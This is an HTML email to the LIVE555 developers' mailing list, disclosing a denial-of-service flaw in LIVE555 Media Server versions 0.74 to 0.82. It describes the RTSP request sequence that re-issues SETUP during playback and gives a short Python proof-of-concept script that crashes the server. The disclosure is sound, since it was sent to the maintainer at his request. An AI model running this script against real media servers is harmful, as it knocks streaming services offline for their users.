<html><body><div style="font-family: courier new,courier,monaco,monospace,sans-serif; font-size: 10pt; color: #000000"><div class="markdown-here-wrapper" data-md-url="https://webmail.netasq.com/zimbra/#6" style=""><p style="margin: 1.2em 0px !important;">Ok, here are the details:</p>
<h1 id="description" style="margin: 1.3em 0px 1em; padding: 0px; font-weight: bold;font-size: 1.6em; border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(221, 221, 221);">DESCRIPTION</h1>
<p style="margin: 1.2em 0px !important;">An RTSP client can make the LIVE555 Media Server crash by renegociating transport parameters.</p>
<h1 id="products-impacted" style="margin: 1.3em 0px 1em; padding: 0px; font-weight: bold;font-size: 1.6em; border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(221, 221, 221);">PRODUCTS IMPACTED</h1>
<p style="margin: 1.2em 0px !important;">LIVE555 Media Server (<a href="http://www.live555.com/mediaServer/">http://www.live555.com/mediaServer/</a>).</p>
<p style="margin: 1.2em 0px !important;">At minimum v0.74 (2011.12.23) to the most recent version to date v0.82 (2014.03.16).</p>
<h1 id="technical-details" style="margin: 1.3em 0px 1em; padding: 0px; font-weight: bold;font-size: 1.6em; border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(221, 221, 221);">TECHNICAL DETAILS</h1>
<p style="margin: 1.2em 0px !important;">The following sequence of requests causes the DoS:</p>
<ol style="margin: 1.2em 0px;padding-left: 2em;">
<li style="margin: 0.5em 0px;">DESCRIBE (optionally)</li>
<li style="margin: 0.5em 0px;">SETUP (e.g. audio track)</li>
<li style="margin: 0.5em 0px;">SETUP (e.g. video track)</li>
<li style="margin: 0.5em 0px;">PLAY</li>
<li style="margin: 0.5em 0px;">SETUP (any of the previously opened tracks)</li>
<li style="margin: 0.5em 0px;">PLAY</li>
</ol>
<p style="margin: 1.2em 0px !important;">Adding a PAUSE request between steps 4 and 5 works around the problem. However, RFC 2326 (RTSP) specifies in chapter “A.2 Server State Machine” that a SETUP request can actually be issued in the “Playing” state.</p>
<p style="margin: 1.2em 0px !important;">The following Python script reproduces the vulnerability.</p>
<pre style="font-size: 0.85em; font-family: Consolas, Inconsolata, Courier, monospace;font-size: 1em; line-height: 1.2em;margin: 1.2em 0px;"><code style="font-size: 0.85em; font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em; padding: 0px 0.3em; white-space: pre-wrap; border: 1px solid rgb(234, 234, 234); border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; display: inline; background-color: rgb(248, 248, 248);white-space: pre; overflow: auto; border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; border: 1px solid rgb(204, 204, 204); padding: 0.5em 0.7em; display: block !important;display: block; padding: 0.5em; color: rgb(51, 51, 51); background: rgb(248, 248, 255);">import socket
import re

host = ("172.17.44.20", 554)
url = "rtsp://172.17.44.20/brasilccmovie.mpg"

def send(msg):
     if (send.session != ''):
         msg += "Session: " + send.session + "\r\n"
     msg += "CSeq: " + str(send.cseq) + "\r\n"
     msg += "\r\n"
     s.send(msg)
     send.cseq += 1
     reply = s.recv(1000)
     match = re.search('Session: ([^\r;]*)', reply, re.DOTALL)
     if (match):
         send.session = match.group(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(0.5)
s.connect(host)

send.session = ''
send.cseq = 1

#send("DESCRIBE " + url + " RTSP/1.0\r\nAccept: application/sdp\r\n")
send("SETUP " + url + "/track1 RTSP/1.0\r\nTransport: RTP/AVP/UDP;unicast;client_port=34000-34001\r\n")
send("SETUP " + url + "/track2 RTSP/1.0\r\nTransport: RTP/AVP/UDP;unicast;client_port=34002-34003\r\n")
send("PLAY " + url + " RTSP/1.0\r\n")
#send("PAUSE " + url + " RTSP/1.0\r\n")
send("SETUP " + url + "/track1 RTSP/1.0\r\nTransport: RTP/AVP/UDP;unicast;client_port=35000-35001\r\n")
send("PLAY " + url + " RTSP/1.0\r\n")

s.close()
</code></pre><hr>
<p style="margin: 1.2em 0px !important;">De: “Ross Finlayson” <a href="http://mailto:finlayson@live555.com">finlayson@live555.com</a><br>À: “LIVE555 Streaming Media - development & use” <a href="http://mailto:live-devel@ns.live555.com">live-devel@ns.live555.com</a><br>Envoyé: Mardi 15 Juillet 2014 19:58:34<br>Objet: Re: [Live-devel] DoS in Media Server</p>
<p style="margin: 1.2em 0px !important;">Please post the details here.  If the issue is significant, then we’ll update the code, and people will be encouraged to upgrade.</p>
<p style="margin: 1.2em 0px !important;"> Ross Finlayson<br>Live Networks, Inc.<br><a href="http://www.live555.com/">http://www.live555.com/</a>  </p>
<hr>
<p style="margin: 1.2em 0px !important;">live-devel mailing list<br>live-devel@lists.live555.com<br><a href="http://lists.live555.com/mailman/listinfo/live-devel">http://lists.live555.com/mailman/listinfo/live-devel</a></p>
<div title="MDH:PGRpdj5PaywgaGVyZSBhcmUgdGhlIGRldGFpbHM6PC9kaXY+PGRpdj48YnI+PC9kaXY+PGRpdj48
cCBzdHlsZT0ibWFyZ2luOiAwcHg7IiBkYXRhLW1jZS1zdHlsZT0ibWFyZ2luOiAwcHg7Ij4jIERF
U0NSSVBUSU9OPC9wPjxwIHN0eWxlPSJtYXJnaW46IDBweDsiIGRhdGEtbWNlLXN0eWxlPSJtYXJn
aW46IDBweDsiPjxicj48L3A+PHAgc3R5bGU9Im1hcmdpbjogMHB4OyIgZGF0YS1tY2Utc3R5bGU9
Im1hcmdpbjogMHB4OyI+QW4gUlRTUCBjbGllbnQgY2FuIG1ha2UgdGhlIExJVkU1NTUgTWVkaWEg
U2VydmVyIGNyYXNoIGJ5IHJlbmVnb2NpYXRpbmcgdHJhbnNwb3J0IHBhcmFtZXRlcnMuPC9wPjxw
IHN0eWxlPSJtYXJnaW46IDBweDsiIGRhdGEtbWNlLXN0eWxlPSJtYXJnaW46IDBweDsiPjxicj48
L3A+PHAgc3R5bGU9Im1hcmdpbjogMHB4OyIgZGF0YS1tY2Utc3R5bGU9Im1hcmdpbjogMHB4OyI+
IyBQUk9EVUNUUyBJTVBBQ1RFRDwvcD48cCBzdHlsZT0ibWFyZ2luOiAwcHg7IiBkYXRhLW1jZS1z
dHlsZT0ibWFyZ2luOiAwcHg7Ij48YnI+PC9wPjxwIHN0eWxlPSJtYXJnaW46IDBweDsiIGRhdGEt
bWNlLXN0eWxlPSJtYXJnaW46IDBweDsiPkxJVkU1NTUgTWVkaWEgU2VydmVyIChodHRwOi8vd3d3
LmxpdmU1NTUuY29tL21lZGlhU2VydmVyLykuPC9wPjxwIHN0eWxlPSJtYXJnaW46IDBweDsiIGRh
dGEtbWNlLXN0eWxlPSJtYXJnaW46IDBweDsiPjxicj5BdCBtaW5pbXVtIHYwLjc0ICgyMDExLjEy
LjIzKSB0byB0aGUgbW9zdCByZWNlbnQgdmVyc2lvbiB0byBkYXRlIHYwLjgyICgyMDE0LjAzLjE2
KS48L3A+PHAgc3R5bGU9Im1hcmdpbjogMHB4OyIgZGF0YS1tY2Utc3R5bGU9Im1hcmdpbjogMHB4
OyI+PGJyPjwvcD48cCBzdHlsZT0ibWFyZ2luOiAwcHg7IiBkYXRhLW1jZS1zdHlsZT0ibWFyZ2lu
OiAwcHg7Ij4jIFRFQ0hOSUNBTCBERVRBSUxTPC9wPjxwIHN0eWxlPSJtYXJnaW46IDBweDsiIGRh
dGEtbWNlLXN0eWxlPSJtYXJnaW46IDBweDsiPjxicj48L3A+PHAgc3R5bGU9Im1hcmdpbjogMHB4
OyIgZGF0YS1tY2Utc3R5bGU9Im1hcmdpbjogMHB4OyI+VGhlIGZvbGxvd2luZyBzZXF1ZW5jZSBv
ZiByZXF1ZXN0cyBjYXVzZXMgdGhlIERvUzo8YnI+MS4gREVTQ1JJQkUgKG9wdGlvbmFsbHkpPGJy
PjIuIFNFVFVQIChlLmcuIGF1ZGlvIHRyYWNrKTxicj4zLiBTRVRVUCAoZS5nLiB2aWRlbyB0cmFj
ayk8YnI+NC4gUExBWTxicj41LiBTRVRVUCAoYW55IG9mIHRoZSBwcmV2aW91c2x5IG9wZW5lZCB0
cmFja3MpPGJyPjYuIFBMQVk8L3A+PHAgc3R5bGU9Im1hcmdpbjogMHB4OyIgZGF0YS1tY2Utc3R5
bGU9Im1hcmdpbjogMHB4OyI+PGJyPjwvcD48cCBzdHlsZT0ibWFyZ2luOiAwcHg7IiBkYXRhLW1j
ZS1zdHlsZT0ibWFyZ2luOiAwcHg7Ij5BZGRpbmcgYSBQQVVTRSByZXF1ZXN0IGJldHdlZW4gc3Rl
cHMgNCBhbmQgNSB3b3JrcyBhcm91bmQgdGhlIHByb2JsZW0uIEhvd2V2ZXIsIFJGQyAyMzI2IChS
VFNQKSBzcGVjaWZpZXMgaW4gY2hhcHRlciAiQS4yIFNlcnZlciBTdGF0ZSBNYWNoaW5lIiB0aGF0
IGEgU0VUVVAgcmVxdWVzdCBjYW4gYWN0dWFsbHkgYmUgaXNzdWVkIGluIHRoZSAiUGxheWluZyIg
c3RhdGUuPC9wPjxwIHN0eWxlPSJtYXJnaW46IDBweDsiIGRhdGEtbWNlLXN0eWxlPSJtYXJnaW46
IDBweDsiPjxicj48L3A+PHAgc3R5bGU9Im1hcmdpbjogMHB4OyIgZGF0YS1tY2Utc3R5bGU9Im1h
cmdpbjogMHB4OyI+VGhlIGZvbGxvd2luZyBQeXRob24gc2NyaXB0IHJlcHJvZHVjZXMgdGhlIHZ1
bG5lcmFiaWxpdHkuPC9wPjxwIHN0eWxlPSJtYXJnaW46IDBweDsiIGRhdGEtbWNlLXN0eWxlPSJt
YXJnaW46IDBweDsiPjxicj48L3A+PHAgc3R5bGU9Im1hcmdpbjogMHB4OyIgZGF0YS1tY2Utc3R5
bGU9Im1hcmdpbjogMHB4OyI+YGBgPGJyPmltcG9ydCBzb2NrZXQ8YnI+aW1wb3J0IHJlPC9wPjxw
IHN0eWxlPSJtYXJnaW46IDBweDsiIGRhdGEtbWNlLXN0eWxlPSJtYXJnaW46IDBweDsiPjxicj48
L3A+PHAgc3R5bGU9Im1hcmdpbjogMHB4OyIgZGF0YS1tY2Utc3R5bGU9Im1hcmdpbjogMHB4OyI+
aG9zdCA9ICgiMTcyLjE3LjQ0LjIwIiwgNTU0KTxicj51cmwgPSAicnRzcDovLzE3Mi4xNy40NC4y
MC9icmFzaWxjY21vdmllLm1wZyI8L3A+PHAgc3R5bGU9Im1hcmdpbjogMHB4OyIgZGF0YS1tY2Ut
c3R5bGU9Im1hcmdpbjogMHB4OyI+PGJyPjwvcD48cCBzdHlsZT0ibWFyZ2luOiAwcHg7IiBkYXRh
LW1jZS1zdHlsZT0ibWFyZ2luOiAwcHg7Ij5kZWYgc2VuZChtc2cpOjxicj4gJm5ic3A7Jm5ic3A7
Jm5ic3A7Jm5ic3A7aWYgKHNlbmQuc2Vzc2lvbiAhPSAnJyk6PGJyPiAmbmJzcDsgJm5ic3A7Jm5i
c3A7Jm5ic3A7ICZuYnNwOyZuYnNwO21zZyArPSAiU2Vzc2lvbjogIiArIHNlbmQuc2Vzc2lvbiAr
ICJcclxuIjxicj4gJm5ic3A7ICZuYnNwOyZuYnNwO21zZyArPSAiQ1NlcTogIiArIHN0cihzZW5k
LmNzZXEpICsgIlxyXG4iPGJyPiAmbmJzcDsgJm5ic3A7Jm5ic3A7bXNnICs9ICJcclxuIjxicj4g
Jm5ic3A7ICZuYnNwOyZuYnNwO3Muc2VuZChtc2cpPGJyPiAmbmJzcDsgJm5ic3A7Jm5ic3A7c2Vu
ZC5jc2VxICs9IDE8YnI+ICZuYnNwOyAmbmJzcDsmbmJzcDtyZXBseSA9IHMucmVjdigxMDAwKTxi
cj4gJm5ic3A7ICZuYnNwOyZuYnNwO21hdGNoID0gcmUuc2VhcmNoKCdTZXNzaW9uOiAoW15ccjtd
KiknLCByZXBseSwgcmUuRE9UQUxMKTxicj4gJm5ic3A7ICZuYnNwOyZuYnNwO2lmIChtYXRjaCk6
PGJyPiAmbmJzcDsgJm5ic3A7Jm5ic3A7Jm5ic3A7ICZuYnNwOyZuYnNwO3NlbmQuc2Vzc2lvbiA9
IG1hdGNoLmdyb3VwKDEpPC9wPjxwIHN0eWxlPSJtYXJnaW46IDBweDsiIGRhdGEtbWNlLXN0eWxl
PSJtYXJnaW46IDBweDsiPjxicj48L3A+PHAgc3R5bGU9Im1hcmdpbjogMHB4OyIgZGF0YS1tY2Ut
c3R5bGU9Im1hcmdpbjogMHB4OyI+cyA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNv
Y2tldC5TT0NLX1NUUkVBTSk8YnI+cy5zZXR0aW1lb3V0KDAuNSk8YnI+cy5jb25uZWN0KGhvc3Qp
PC9wPjxwIHN0eWxlPSJtYXJnaW46IDBweDsiIGRhdGEtbWNlLXN0eWxlPSJtYXJnaW46IDBweDsi
Pjxicj48L3A+PHAgc3R5bGU9Im1hcmdpbjogMHB4OyIgZGF0YS1tY2Utc3R5bGU9Im1hcmdpbjog
MHB4OyI+c2VuZC5zZXNzaW9uID0gJyc8YnI+c2VuZC5jc2VxID0gMTwvcD48cCBzdHlsZT0ibWFy
Z2luOiAwcHg7IiBkYXRhLW1jZS1zdHlsZT0ibWFyZ2luOiAwcHg7Ij48YnI+PC9wPjxwIHN0eWxl
PSJtYXJnaW46IDBweDsiIGRhdGEtbWNlLXN0eWxlPSJtYXJnaW46IDBweDsiPiNzZW5kKCJERVND
UklCRSAiICsgdXJsICsgIiBSVFNQLzEuMFxyXG5BY2NlcHQ6IGFwcGxpY2F0aW9uL3NkcFxyXG4i
KTxicj5zZW5kKCJTRVRVUCAiICsgdXJsICsgIi90cmFjazEgUlRTUC8xLjBcclxuVHJhbnNwb3J0
OiBSVFAvQVZQL1VEUDt1bmljYXN0O2NsaWVudF9wb3J0PTM0MDAwLTM0MDAxXHJcbiIpPGJyPnNl
bmQoIlNFVFVQICIgKyB1cmwgKyAiL3RyYWNrMiBSVFNQLzEuMFxyXG5UcmFuc3BvcnQ6IFJUUC9B
VlAvVURQO3VuaWNhc3Q7Y2xpZW50X3BvcnQ9MzQwMDItMzQwMDNcclxuIik8YnI+c2VuZCgiUExB
WSAiICsgdXJsICsgIiBSVFNQLzEuMFxyXG4iKTxicj4jc2VuZCgiUEFVU0UgIiArIHVybCArICIg
UlRTUC8xLjBcclxuIik8YnI+c2VuZCgiU0VUVVAgIiArIHVybCArICIvdHJhY2sxIFJUU1AvMS4w
XHJcblRyYW5zcG9ydDogUlRQL0FWUC9VRFA7dW5pY2FzdDtjbGllbnRfcG9ydD0zNTAwMC0zNTAw
MVxyXG4iKTxicj5zZW5kKCJQTEFZICIgKyB1cmwgKyAiIFJUU1AvMS4wXHJcbiIpPC9wPjxwIHN0
eWxlPSJtYXJnaW46IDBweDsiIGRhdGEtbWNlLXN0eWxlPSJtYXJnaW46IDBweDsiPnMuY2xvc2Uo
KTxicj5gYGA8L3A+PHAgc3R5bGU9Im1hcmdpbjogMHB4OyIgZGF0YS1tY2Utc3R5bGU9Im1hcmdp
bjogMHB4OyI+PGJyPjwvcD48cCBzdHlsZT0ibWFyZ2luOiAwcHg7IiBkYXRhLW1jZS1zdHlsZT0i
bWFyZ2luOiAwcHg7Ij4tLS08L3A+PHAgc3R5bGU9Im1hcmdpbjogMHB4OyIgZGF0YS1tY2Utc3R5
bGU9Im1hcmdpbjogMHB4OyI+PGJyPjwvcD48L2Rpdj48ZGl2Pjxicj48L2Rpdj48aHIgaWQ9Inp3
Y2hyIj48ZGl2IHN0eWxlPSJjb2xvcjojMDAwO2ZvbnQtd2VpZ2h0Om5vcm1hbDtmb250LXN0eWxl
Om5vcm1hbDt0ZXh0LWRlY29yYXRpb246bm9uZTtmb250LWZhbWlseTpIZWx2ZXRpY2EsQXJpYWws
c2Fucy1zZXJpZjtmb250LXNpemU6MTJwdDsiPjxiPkRlOiA8L2I+IlJvc3MgRmlubGF5c29uIiAm
bHQ7ZmlubGF5c29uQGxpdmU1NTUuY29tJmd0Ozxicj48Yj7DgDogPC9iPiJMSVZFNTU1IFN0cmVh
bWluZyBNZWRpYSAtIGRldmVsb3BtZW50ICZhbXA7IHVzZSIgJmx0O2xpdmUtZGV2ZWxAbnMubGl2
ZTU1NS5jb20mZ3Q7PGJyPjxiPkVudm95w6k6IDwvYj5NYXJkaSAxNSBKdWlsbGV0IDIwMTQgMTk6
NTg6MzQ8YnI+PGI+T2JqZXQ6IDwvYj5SZTogW0xpdmUtZGV2ZWxdIERvUyBpbiBNZWRpYSBTZXJ2
ZXI8YnI+PGRpdj48YnI+PC9kaXY+UGxlYXNlIHBvc3QgdGhlIGRldGFpbHMgaGVyZS4gJm5ic3A7
SWYgdGhlIGlzc3VlIGlzIHNpZ25pZmljYW50LCB0aGVuIHdlJ2xsIHVwZGF0ZSB0aGUgY29kZSwg
YW5kIHBlb3BsZSB3aWxsIGJlIGVuY291cmFnZWQgdG8gdXBncmFkZS48YnI+PGRpdj48YnI+PC9k
aXY+PGRpdj4KPHNwYW4gY2xhc3M9IkFwcGxlLXN0eWxlLXNwYW4iIHN0eWxlPSJib3JkZXItY29s
bGFwc2U6IHNlcGFyYXRlOyBjb2xvcjogcmdiKDAsIDAsIDApOyBmb250LWZhbWlseTogSGVsdmV0
aWNhOyBmb250LXN0eWxlOiBub3JtYWw7IGZvbnQtdmFyaWFudDogbm9ybWFsOyBmb250LXdlaWdo
dDogbm9ybWFsOyBsZXR0ZXItc3BhY2luZzogbm9ybWFsOyBsaW5lLWhlaWdodDogbm9ybWFsOyBv
cnBoYW5zOiAyOyB0ZXh0LWFsaWduOiAtd2Via2l0LWF1dG87IHRleHQtaW5kZW50OiAwcHg7IHRl
eHQtdHJhbnNmb3JtOiBub25lOyB3aGl0ZS1zcGFjZTogbm9ybWFsOyB3aWRvd3M6IDI7IHdvcmQt
c3BhY2luZzogMHB4OyAtd2Via2l0LWJvcmRlci1ob3Jpem9udGFsLXNwYWNpbmc6IDBweDsgLXdl
YmtpdC1ib3JkZXItdmVydGljYWwtc3BhY2luZzogMHB4OyAtd2Via2l0LXRleHQtZGVjb3JhdGlv
bnMtaW4tZWZmZWN0OiBub25lOyAtd2Via2l0LXRleHQtc2l6ZS1hZGp1c3Q6IGF1dG87IC13ZWJr
aXQtdGV4dC1zdHJva2Utd2lkdGg6IDBweDsgICI+PHNwYW4gY2xhc3M9IkFwcGxlLXN0eWxlLXNw
YW4iIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IHNlcGFyYXRlOyBjb2xvcjogcmdiKDAsIDAsIDAp
OyBmb250LWZhbWlseTogSGVsdmV0aWNhOyBmb250LXN0eWxlOiBub3JtYWw7IGZvbnQtdmFyaWFu
dDogbm9ybWFsOyBmb250LXdlaWdodDogbm9ybWFsOyBsZXR0ZXItc3BhY2luZzogbm9ybWFsOyBs
aW5lLWhlaWdodDogbm9ybWFsOyBvcnBoYW5zOiAyOyB0ZXh0LWFsaWduOiAtd2Via2l0LWF1dG87
IHRleHQtaW5kZW50OiAwcHg7IHRleHQtdHJhbnNmb3JtOiBub25lOyB3aGl0ZS1zcGFjZTogbm9y
bWFsOyB3aWRvd3M6IDI7IHdvcmQtc3BhY2luZzogMHB4OyAtd2Via2l0LWJvcmRlci1ob3Jpem9u
dGFsLXNwYWNpbmc6IDBweDsgLXdlYmtpdC1ib3JkZXItdmVydGljYWwtc3BhY2luZzogMHB4OyAt
d2Via2l0LXRleHQtZGVjb3JhdGlvbnMtaW4tZWZmZWN0OiBub25lOyAtd2Via2l0LXRleHQtc2l6
ZS1hZGp1c3Q6IGF1dG87IC13ZWJraXQtdGV4dC1zdHJva2Utd2lkdGg6IDBweDsgICI+Um9zcyBG
aW5sYXlzb248YnI+TGl2ZSBOZXR3b3JrcywgSW5jLjxicj48YSBocmVmPSJodHRwOi8vd3d3Lmxp
dmU1NTUuY29tLyIgdGFyZ2V0PSJfYmxhbmsiPmh0dHA6Ly93d3cubGl2ZTU1NS5jb20vPC9hPjwv
c3Bhbj48L3NwYW4+CjwvZGl2Pgo8YnI+PGJyPl9fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fPGJyPmxpdmUtZGV2ZWwgbWFpbGluZyBsaXN0PGJyPmxpdmUtZGV2
ZWxAbGlzdHMubGl2ZTU1NS5jb208YnI+aHR0cDovL2xpc3RzLmxpdmU1NTUuY29tL21haWxtYW4v
bGlzdGluZm8vbGl2ZS1kZXZlbDxicj48L2Rpdj48ZGl2Pjxicj48YnI+PC9kaXY+PGRpdj48YnI+
PC9kaXY+" style="height:0;font-size:0em;padding:0;margin:0;">​</div></div><div class="markdown-here-signature">-- <br></div><div><span name="x"></span><div><br class="Apple-interchange-newline"><br></div><table class="signature mceItemTable" style="font-size: 8pt; font-family: Calibri, Arial; color: #404040; border: 0pt;" data-mce-style="font-size: 8pt; font-family: Calibri, Arial; color: #404040; border: 0pt;"><tbody><tr><td class="nom" colspan="3" style="padding-left: 5px; font-size: 12pt; font-weight: bold; color: black;" data-mce-style="padding-left: 5px; font-size: 12pt; font-weight: bold; color: black;">Yann Fleutot</td></tr><tr><td colspan="3" style="padding-left: 5px; padding-bottom: 15px;" data-mce-style="padding-left: 5px; padding-bottom: 15px;">Stormshield Network Security developer</td></tr><tr><td class="logo" rowspan="5" style="padding-left: 5px; border-right-width: 1px; border-right-style: dotted; border-right-color: #404040; padding-right: 15px;" data-mce-style="padding-left: 5px; border-right-width: 1px; border-right-style: dotted; border-right-color: #404040; padding-right: 15px;"><img src="cid:0d2757ae1b9a864d4e45cbddc2d12cd4a25632ce@zimbra" data-mce-src="/home/yann.fleutot@stormshield.eu/Briefcase/image001.png" doc="Briefcase/image001.png"></td><td class="entreprise" colspan="2" style="padding-left: 5px; font-weight: bold;" data-mce-style="padding-left: 5px; font-weight: bold;">Arkoon Netasq</td></tr><tr><td colspan="2" style="padding-left: 5px;" data-mce-style="padding-left: 5px;">49 rue Billancourt - FR 92100 Boulogne-Billancourt</td></tr><tr><td style="padding-left: 5px;" data-mce-style="padding-left: 5px;"><br></td><td style="padding-left: 5px;" data-mce-style="padding-left: 5px;"><br></td></tr><tr><td style="padding-left: 5px;" data-mce-style="padding-left: 5px;"><br></td><td style="padding-left: 5px;" data-mce-style="padding-left: 5px;"></td></tr><tr><td colspan="2" style="padding-left: 5px;" data-mce-style="padding-left: 5px;"><a class="signature" href="http://www.twitter.com/Stormshield_" target="_blank" style="color: #558ed5; text-decoration: none;" data-mce-href="http://www.twitter.com/Stormshield_" data-mce-style="color: #558ed5; text-decoration: none;">Twitter</a> - <a class="signature" href="https://www.linkedin.com/company/22425?trk=cws-btn-overview-0-0" target="_blank" style="color: #558ed5; text-decoration: none;" data-mce-href="https://www.linkedin.com/company/22425?trk=cws-btn-overview-0-0" data-mce-style="color: #558ed5; text-decoration: none;">LinkedIn</a> - <a class="signature" href="http://www.stormshield.eu/" target="_blank" style="color: #558ed5; text-decoration: none;" data-mce-href="http://www.stormshield.eu/" data-mce-style="color: #558ed5; text-decoration: none;">www.stormshield.eu</a><br><div><br></div></td></tr></tbody></table><div><br></div><span name="x"></span><br></div></div></body></html>